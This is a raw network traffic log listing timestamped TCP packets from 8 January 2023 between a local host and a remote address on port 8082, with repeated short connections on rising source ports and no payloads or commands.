Jan 8, 2023 16:10:41.599574089 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.599590063 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.600240946 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.714318991 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.734602928 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.849200010 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.849379063 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.849944115 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.964046955 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.969813108 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.969878912 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.969959021 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.970027924 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.970102072 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.980070114 CET	50199	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.094599962 CET	8082	50199	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.115684986 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.230613947 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.230901957 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.231425047 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.345452070 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.349595070 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.349700928 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.349903107 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.350239992 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.354407072 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.354806900 CET	50200	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.469002008 CET	8082	50200	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.484663010 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.598767996 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.600140095 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.600845098 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.714845896 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.719971895 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.720032930 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.720098019 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.720249891 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.720329046 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.721776962 CET	50201	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.835877895 CET	8082	50201	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.845093012 CET	50202	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.959568977 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:42.963846922 CET	50202	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:42.964555025 CET	50202	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.078632116 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.082912922 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.082979918 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.083014011 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.083208084 CET	50202	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.109108925 CET	50202	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.226675987 CET	8082	50202	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.235004902 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.349492073 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.349663019 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.350420952 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.464664936 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.469497919 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.469584942 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.469734907 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.469775915 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.469821930 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.469846010 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.470407009 CET	50203	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.584363937 CET	8082	50203	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.599381924 CET	50204	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.714142084 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.714466095 CET	50204	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.715851068 CET	50204	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.830321074 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.834384918 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.834408998 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.834429026 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.834614992 CET	50204	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.836541891 CET	50204	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:43.950301886 CET	8082	50204	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:43.972337008 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.086901903 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.087135077 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.090620041 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.204706907 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.209916115 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.209960938 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.210133076 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.210172892 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.210211039 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.210262060 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.215022087 CET	50205	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.329073906 CET	8082	50205	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.344440937 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.459177017 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.459325075 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.461106062 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.575881958 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.579766035 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.579852104 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.579893112 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.579907894 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.579943895 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.579982996 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.580600977 CET	50206	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.694628954 CET	8082	50206	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.708894968 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.823719978 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.823899984 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.826175928 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.940675974 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.944072008 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.944099903 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.944165945 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.944175959 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:44.944215059 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.944240093 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:44.957098007 CET	50207	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.071672916 CET	8082	50207	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.097136974 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.211705923 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.211915970 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.212490082 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.326889038 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.329848051 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.329886913 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.330018997 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.330169916 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.330250025 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.330656052 CET	50208	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.444787979 CET	8082	50208	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.478452921 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.593126059 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.594706059 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.596142054 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.710341930 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.713696957 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.713731050 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.713867903 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.714044094 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.714867115 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.715112925 CET	50209	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.829003096 CET	8082	50209	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.855128050 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.970859051 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:45.974677086 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:45.975366116 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.089282990 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.093516111 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.093548059 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.093673944 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.093734980 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.093797922 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.094254971 CET	50210	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.208489895 CET	8082	50210	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.222100973 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.336602926 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.338807106 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.339607954 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.453984976 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.457954884 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.457993984 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.458108902 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.458177090 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.458249092 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.459070921 CET	50211	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.573131084 CET	8082	50211	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.597548962 CET	50212	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.711838007 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.712029934 CET	50212	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.718720913 CET	50212	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.833024025 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.837678909 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.837721109 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.837742090 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.837901115 CET	50212	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.860758066 CET	50212	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:46.975490093 CET	8082	50212	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:46.987466097 CET	50213	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.101908922 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.102277994 CET	50213	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.102900028 CET	50213	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.217034101 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.223984957 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.224042892 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.224061012 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.224251986 CET	50213	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.226362944 CET	50213	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.340643883 CET	8082	50213	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.371068001 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.485898018 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.486243010 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.487291098 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.601444006 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.604835987 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.604887962 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.604917049 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.604959965 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.605000973 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.605606079 CET	50214	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.719815016 CET	8082	50214	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.749799967 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.864234924 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.864464998 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.865416050 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.979346037 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.983385086 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.983431101 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.983491898 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.983568907 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.983792067 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:47.983866930 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:47.984186888 CET	50215	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.098479033 CET	8082	50215	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.113010883 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.227607965 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.227847099 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.229441881 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.343713045 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.347917080 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.347959042 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.347975016 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.348067045 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.348114014 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.357274055 CET	50216	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.471698046 CET	8082	50216	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.490067005 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.604581118 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.607243061 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.607878923 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.721982002 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.727019072 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.727070093 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.727186918 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.727215052 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.727343082 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.749963999 CET	50217	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.864530087 CET	8082	50217	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.883748055 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:48.998337984 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:48.998552084 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.000468969 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.114713907 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.118027925 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.118179083 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.118365049 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.118372917 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.119302034 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.121670961 CET	50218	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.236152887 CET	8082	50218	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.252454042 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.367275000 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.367479086 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.395260096 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.509511948 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.513806105 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.513849974 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.513870955 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.514090061 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.514189005 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.514918089 CET	50219	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.628886938 CET	8082	50219	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.648273945 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.762986898 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.763253927 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.764549971 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.878602028 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.882392883 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.882441044 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.882457972 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:49.882565975 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.882613897 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:49.892663002 CET	50220	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.006937027 CET	8082	50220	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.041218996 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.155756950 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.156152010 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.156927109 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.270764112 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.275543928 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.275588989 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.275616884 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.275758982 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.275825024 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.277076006 CET	50221	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.391128063 CET	8082	50221	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.407716036 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.522456884 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.522732973 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.524832010 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.640043020 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.644500971 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.644599915 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.644668102 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.644737005 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.644957066 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.669219017 CET	50222	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.783483028 CET	8082	50222	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.800115108 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.914746046 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:50.915038109 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:50.915674925 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.029556036 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.033773899 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.033808947 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.033958912 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.034008980 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.034061909 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.034746885 CET	50223	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.150470018 CET	8082	50223	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.180109024 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.294572115 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.294713020 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.295409918 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.409435034 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.414513111 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.414541960 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.414566040 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.414663076 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.415198088 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.425234079 CET	50224	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.539366961 CET	8082	50224	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.567336082 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.682838917 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.683106899 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.683851004 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.797920942 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.802164078 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.802200079 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.802218914 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.802318096 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.802318096 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.803332090 CET	50225	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:51.918129921 CET	8082	50225	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:51.945864916 CET	50226	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.060658932 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.060811996 CET	50226	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.062375069 CET	50226	8082	192.168.2.6	20.104.209.69
